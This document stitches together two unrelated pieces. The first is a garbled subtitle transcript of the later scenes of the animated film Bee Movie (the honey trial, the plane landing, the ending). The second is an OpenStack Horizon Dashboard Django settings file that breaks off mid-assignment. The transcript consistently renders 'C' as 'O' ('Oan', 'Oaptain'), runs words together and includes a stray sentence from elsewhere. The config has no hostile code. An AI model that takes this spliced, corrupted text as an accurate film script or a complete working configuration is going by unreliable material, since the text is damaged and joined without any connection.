he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.
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michealbalogun / Horizon DashboardCopyright 2012 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import glob import logging import os import sys import warnings from django.utils.translation import pgettext_lazy from django.utils.translation import ugettext_lazy as _ from horizon.utils.escape import monkeypatch_escape from openstack_dashboard import enabled from openstack_dashboard import exceptions from openstack_dashboard.local import enabled as local_enabled from openstack_dashboard import theme_settings from openstack_dashboard.utils import config from openstack_dashboard.utils import settings as settings_utils monkeypatch_escape() _LOG = logging.getLogger(__name__) warnings.formatwarning = lambda message, category, *args, **kwargs: \ '%s: %s' % (category.__name__, message) ROOT_PATH = os.path.dirname(os.path.abspath(__file__)) if ROOT_PATH not in sys.path: sys.path.append(ROOT_PATH) DEBUG = False SITE_BRANDING = 'OpenStack Dashboard' WEBROOT = '/' LOGIN_URL = None LOGOUT_URL = None LOGIN_ERROR = None LOGIN_REDIRECT_URL = None MEDIA_ROOT = None MEDIA_URL = None STATIC_ROOT = None STATIC_URL = None SELECTABLE_THEMES = None INTEGRATION_TESTS_SUPPORT = False NG_TEMPLATE_CACHE_AGE = 2592000 ROOT_URLCONF = 'openstack_dashboard.urls' HORIZON_CONFIG = { 'user_home': 'openstack_dashboard.views.get_user_home', 'ajax_queue_limit': 10, 'auto_fade_alerts': { 'delay': 3000, 'fade_duration': 1500, 'types': ['alert-success', 'alert-info'] }, 'bug_url': None, 'help_url': "https://docs.openstack.org/", 'exceptions': {'recoverable': exceptions.RECOVERABLE, 'not_found': exceptions.NOT_FOUND, 'unauthorized': exceptions.UNAUTHORIZED}, 'modal_backdrop': 'static', 'angular_modules': [], 'js_files': [], 'js_spec_files': [], 'external_templates': [], 'plugins': [], 'integration_tests_support': INTEGRATION_TESTS_SUPPORT } # The OPENSTACK_IMAGE_BACKEND settings can be used to customize features # in the OpenStack Dashboard related to the Image service, such as the list # of supported image formats. OPENSTACK_IMAGE_BACKEND = { 'image_formats': [ ('', _('Select format')), ('aki', _('AKI - Amazon Kernel Image')), ('ami', _('AMI - Amazon Machine Image')), ('ari', _('ARI - Amazon Ramdisk Image')), ('docker', _('Docker')), ('iso', _('ISO - Optical Disk Image')), ('ova', _('OVA - Open Virtual Appliance')), ('ploop', _('PLOOP - Virtuozzo/Parallels Loopback Disk')), ('qcow2', _('QCOW2 - QEMU Emulator')), ('raw', _('Raw')), ('vdi', _('VDI - Virtual Disk Image')), ('vhd', _('VHD - Virtual Hard Disk')), ('vhdx', _('VHDX - Large Virtual Hard Disk')), ('vmdk', _('VMDK - Virtual Machine Disk')), ] } MIDDLEWARE = ( 'openstack_auth.middleware.OpenstackAuthMonkeyPatchMiddleware', 'debreach.middleware.RandomCommentMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'horizon.middleware.OperationLogMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'horizon.middleware.HorizonMiddleware', 'horizon.themes.ThemeMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerClientMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerMiddleware', ) CACHED_TEMPLATE_LOADERS = [ 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', 'horizon.loaders.TemplateLoader' ] ADD_TEMPLATE_LOADERS = [] ADD_TEMPLATE_DIRS = [] TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(ROOT_PATH, 'templates')], 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.request', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.contrib.messages.context_processors.messages', 'horizon.context_processors.horizon', 'openstack_dashboard.context_processors.openstack', ], 'loaders': [ 'horizon.themes.ThemeTemplateLoader' ], }, }, ] STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'horizon.contrib.staticfiles.finders.HorizonStaticFinder', 'compressor.finders.CompressorFinder', ) COMPRESS_PRECOMPILERS = ( ('text/scss', 'horizon.utils.scss_filter.HorizonScssFilter'), ) COMPRESS_CSS_FILTERS = ( 'compressor.filters.css_default.CssAbsoluteFilter', ) COMPRESS_ENABLED = True COMPRESS_OUTPUT_DIR = 'dashboard' COMPRESS_CSS_HASHING_METHOD = 'hash' COMPRESS_PARSER = 'compressor.parser.HtmlParser' INSTALLED_APPS = [ 'openstack_dashboard', 'django.contrib.contenttypes', 'django.contrib.auth', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.humanize', 'django_pyscss', 'debreach', 'openstack_dashboard.django_pyscss_fix', 'compressor', 'horizon', 'openstack_auth', ] AUTHENTICATION_BACKENDS = ('openstack_auth.backend.KeystoneBackend',) AUTHENTICATION_URLS = ['openstack_auth.urls'] AUTH_USER_MODEL = 'openstack_auth.User' MESSAGE_STORAGE = 'django.contrib.messages.storage.fallback.FallbackStorage' SESSION_ENGINE = 'django.contrib.sessions.backends.cache' CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', 'LOCATION': '127.0.0.1:11211', }, } SESSION_COOKIE_HTTPONLY = True SESSION_EXPIRE_AT_BROWSER_CLOSE = True SESSION_COOKIE_SECURE = False # Control whether the SESSION_TIMEOUT period is refreshed due to activity. If # False, SESSION_TIMEOUT acts as a hard limit. SESSION_REFRESH = True # This SESSION_TIMEOUT is a method to supercede the token timeout with a # shorter horizon session timeout (in seconds). If SESSION_REFRESH is True (the # default) SESSION_TIMEOUT acts like an idle timeout rather than being a hard # limit, but will never exceed the token expiry. If your token expires in 60 # minutes, a value of 1800 will log users out after 30 minutes of inactivity, # or 60 minutes with activity. Setting SESSION_REFRESH to False will make # SESSION_TIMEOUT act like a hard limit on session times. SESSION_TIMEOUT = 3600 # When using cookie-based sessions, log error when the session cookie exceeds # the following size (common browsers drop cookies above a certain size): SESSION_COOKIE_MAX_SIZE = 4093 # when doing upgrades, it may be wise to stick to PickleSerializer # NOTE(berendt): Check during the K-cycle if this variable can be removed. # https://bugs.launchpad.net/horizon/+bug/1349463 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' # MEMOIZED_MAX_SIZE_DEFAULT allows setting a global default to help control # memory usage when caching. It should at least be 2 x the number of threads # with a little bit of extra buffer. MEMOIZED_MAX_SIZE_DEFAULT = 25 CSRF_FAILURE_VIEW = 'openstack_dashboard.views.csrf_failure' LANGUAGES = ( ('cs', 'Czech'), ('de', 'German'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('fr', 'French'), ('id', 'Indonesian'), ('it', 'Italian'), ('ja', 'Japanese'), ('ko', 'Korean (Korea)'), ('pl', 'Polish'), ('pt-br', 'Portuguese (Brazil)'), ('ru', 'Russian'), ('tr', 'Turkish'), ('zh-cn', 'Simplified Chinese'), ('zh-tw', 'Chinese (Taiwan)'), ) LANGUAGE_CODE = 'en' LANGUAGE_COOKIE_NAME = 'horizon_language' USE_I18N = True USE_L10N = True USE_TZ = True # Set OPENSTACK_CLOUDS_YAML_NAME to provide a nicer name for this cloud for # the clouds.yaml file than "openstack". OPENSTACK_CLOUDS_YAML_NAME = 'openstack' # If this cloud has a vendor profile in os-client-config, put it's name here. OPENSTACK_CLOUDS_YAML_PROFILE = '' OPENSTACK_KEYSTONE_DEFAULT_ROLE = '_member_' DEFAULT_EXCEPTION_REPORTER_FILTER = 'horizon.exceptions.HorizonReporterFilter' POLICY_FILES_PATH = os.path.join(ROOT_PATH, "conf") # Map of local copy of service policy files POLICY_FILES = { 'identity': 'keystone_policy.json', 'compute': 'nova_policy.json', 'volume': 'cinder_policy.json', 'image': 'glance_policy.json', 'network': 'neutron_policy.json', } # Services for which horizon has extra policies are defined # in POLICY_DIRS by default. POLICY_DIRS = { 'compute': ['nova_policy.d'], 'volume': ['cinder_policy.d'], } SECRET_KEY = None LOCAL_PATH = None SECURITY_GROUP_RULES = { 'all_tcp': { 'name': _('All TCP'), 'ip_protocol': 'tcp', 'from_port': '1', 'to_port': '65535', }, 'all_udp': { 'name': _('All UDP'), 'ip_protocol': 'udp', 'from_port': '1', 'to_port': '65535', }, 'all_icmp': { 'name': _('All ICMP'), 'ip_protocol': 'icmp', 'from_port': '-1', 'to_port': '-1', }, } ADD_INSTALLED_APPS = [] # NOTE: The default value of USER_MENU_LINKS will be set after loading # local_settings if it is not configured. USER_MENU_LINKS = None # 'key', 'label', 'path' AVAILABLE_THEMES = [ ( 'default', pgettext_lazy('Default style theme', 'Default'), 'themes/default' ), ( 'material', pgettext_lazy("Google's Material Design style theme", "Material"), 'themes/material' ), ] # The default theme if no cookie is present DEFAULT_THEME = 'default' # Theme Static Directory THEME_COLLECTION_DIR = 'themes' # Theme Cookie Name THEME_COOKIE_NAME = 'theme' POLICY_CHECK_FUNCTION = 'openstack_auth.policy.check' CSRF_COOKIE_AGE = None COMPRESS_OFFLINE_CONTEXT = 'horizon.themes.offline_context' SHOW_KEYSTONE_V2_RC = False SHOW_OPENRC_FILE = True SHOW_OPENSTACK_CLOUDS_YAML = True # Dictionary of currently available angular features ANGULAR_FEATURES = { 'images_panel': True, 'key_pairs_panel': True, 'flavors_panel': False, 'domains_panel': False, 'users_panel': False, 'groups_panel': False, 'roles_panel': True } # Notice all customizable configurations should be above this line XSTATIC_MODULES = settings_utils.BASE_XSTATIC_MODULES OPENSTACK_PROFILER = { 'enabled': False } if not LOCAL_PATH: LOCAL_PATH = os.path.join(ROOT_PATH, 'local') LOCAL_SETTINGS_DIR_PATH = os.path.join(LOCAL_PATH, "local_settings.d") _files = glob.glob(os.path.join(LOCAL_PATH, 'local_settings.conf')) _files.extend( sorted(glob.glob(os.path.join(LOCAL_SETTINGS_DIR_PATH, '*.conf')))) _config = config.load_config(_files, ROOT_PATH, LOCAL_PATH) # Apply the general configuration. config.apply_config(_config, globals()) try: from local.local_settings import * # noqa: F403,H303 except ImportError: _LOG.warning("No local_settings file found.") # configure templates if not TEMPLATES[0]['DIRS']: TEMPLATES[0]['DIRS'] = [os.path.join(ROOT_PATH, 'templates')] TEMPLATES[0]['DIRS'] += ADD_TEMPLATE_DIRS # configure template debugging TEMPLATES[0]['OPTIONS']['debug'] = DEBUG # Template loaders if DEBUG: TEMPLATES[0]['OPTIONS']['loaders'].extend( CACHED_TEMPLATE_LOADERS + ADD_TEMPLATE_LOADERS ) else: TEMPLATES[0]['OPTIONS']['loaders'].extend( [('django.template.loaders.cached.Loader', CACHED_TEMPLATE_LOADERS)] + ADD_TEMPLATE_LOADERS ) # allow to drop settings snippets into a local_settings_dir LOCAL_SETTINGS_DIR_PATH = os.path.join(ROOT_PATH, "local", "local_settings.d") if os.path.exists(LOCAL_SETTINGS_DIR_PATH): for (dirpath, dirnames, filenames) in os.walk(LOCAL_SETTINGS_DIR_PATH): for filename in sorted(filenames): if filename.endswith(".py"): try: with open(os.path.join(dirpath, filename)) as f: # pylint: disable=exec-used exec(f.read()) except Exception as e: _LOG.exception( "Can not exec settings snippet %s", filename) # The purpose of OPENSTACK_IMAGE_FORMATS is to provide a simple object # that does not contain the lazy-loaded translations, so the list can # be sent as JSON to the client-side (Angular). OPENSTACK_IMAGE_FORMATS = [fmt for (fmt, name) in OPENSTACK_IMAGE_BACKEND['image_formats']] if USER_MENU_LINKS is None: USER_MENU_LINKS = [] if SHOW_KEYSTONE_V2_RC: USER_MENU_LINKS.append({ 'name': _('OpenStack RC File v2'), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrcv2', }) if SHOW_OPENRC_FILE: USER_MENU_LINKS.append({ 'name': (_('OpenStack RC File v3') if SHOW_KEYSTONE_V2_RC else _('OpenStack RC File')), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrc', }) if not WEBROOT.endswith('/'): WEBROOT += '/' if LOGIN_URL is None: LOGIN_URL = WEBROOT + 'auth/login/' if LOGOUT_URL is None: LOGOUT_URL = WEBROOT + 'auth/logout/' if LOGIN_ERROR is None: LOGIN_ERROR = WEBROOT + 'auth/error/' if LOGIN_REDIRECT_URL is None: LOGIN_REDIRECT_URL = WEBROOT if MEDIA_ROOT is None: MEDIA_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'media')) if MEDIA_URL is None: MEDIA_URL = WEBROOT + 'media/' if STATIC_ROOT is None: STATIC_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'static')) if STATIC_URL is None: STATIC_URL = WEBROOT + 'static/' AVAILABLE_THEMES, SELECTABLE_THEMES, DEFAULT_THEME = ( theme_settings.get_available_themes( AVAILABLE_THEMES, DEFAULT_THEME, SELECTABLE_THEMES ) ) # Discover all the directories that contain static files STATICFILES_DIRS = theme_settings.get_theme_static_dirs( AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) # Ensure that we always have a SECRET_KEY set, even when no local_settings.py # file is present. See local_settings.py.example for full documentation on the # horizon.utils.secret_key module and its use. if not SECRET_KEY: if not LOCAL_PATH: LOCAL_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'local') # pylint: disable=ungrouped-imports from horizon.utils import secret_key SECRET_KEY = secret_key.generate_or_read_from_file(os.path.join(LOCAL_PATH, '.secret_key_store')) # populate HORIZON_CONFIG with auto-discovered JavaScript sources, mock files, # specs files and external templates. settings_utils.find_static_files(HORIZON_CONFIG, AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) INSTALLED_APPS = 